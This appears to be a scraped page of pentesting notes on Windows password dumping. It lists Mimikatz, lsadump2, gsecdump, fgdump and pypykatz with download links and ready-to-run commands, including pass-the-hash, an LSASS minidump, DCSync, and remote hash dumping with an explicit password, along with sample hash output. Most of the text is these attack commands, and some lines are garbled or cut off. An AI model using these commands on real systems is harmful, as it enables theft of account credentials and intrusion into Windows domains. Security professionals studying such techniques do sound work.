Password Dumping
process of obtaining account login and password information, normally in the form of a hash or a clear text password.
Manual
on our own host:
Mimikatz
Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets.
Link: https://github.com/gentilkiwi/mimikatz
Quick usage
Ask for debug privilege for mimikatz process. (have to be done first)
privilege::debug
Clear screen
Cls
Exit mimikatz
Exit
Examples
Dump credentials:
Pass-The-Hash
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
Minidump
mimikatz # sekurlsa::minidump lsass.dmp
DCSync
lsadump::dcsync /domain:pentestlab.local /user:test
lsadump
This is an application to dump the contents of the LSA secrets on a machine, provided you are an Administrator. It uses the same technique as pwdump2 to bypass restrictions that Microsoft added to LsaRetrievePrivateData(), which cause the original lsadump to fail.
Lsadump2 requires Administrator access to run. The usage for lsadump2 is shown here:
C:\>lsadump2.exe Lsadump2
- dump an LSA secret. Usage: lsadump2.exe <pid of lsass.exe> <secret>
You will have to determine the PID of the lsass (just as with pwdump2):
C:\>tlist | find /i "lsass" 244 LSASS.EXE
gsecdump
gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.
Link: https://download.openwall.net/pub/projects/john/contrib/win32/pwdump/gsecdump-0.7-win32.zip
example
C:\Documents and Settings\nobody\Desktop>gsecdump -u gsecdump -u MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
FGDump
Cachedump aka In-memory attacks for SAM hashes / Cached Domain Credentials.
Example locally:
fgdump has successfully dumped the password hashes:
Dumping the Local Machine Using a Different Account
fgdump.exe -h 127.0.0.1 -u AnAdministrativeUser
Dumping a Remote Machine (192.168.0.10) Using a Specified User (1)
fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -p l4mep4ssw0rd
pypykatz
Mimikatz implementation in pure Python.
parsing lsass dump:
Last updated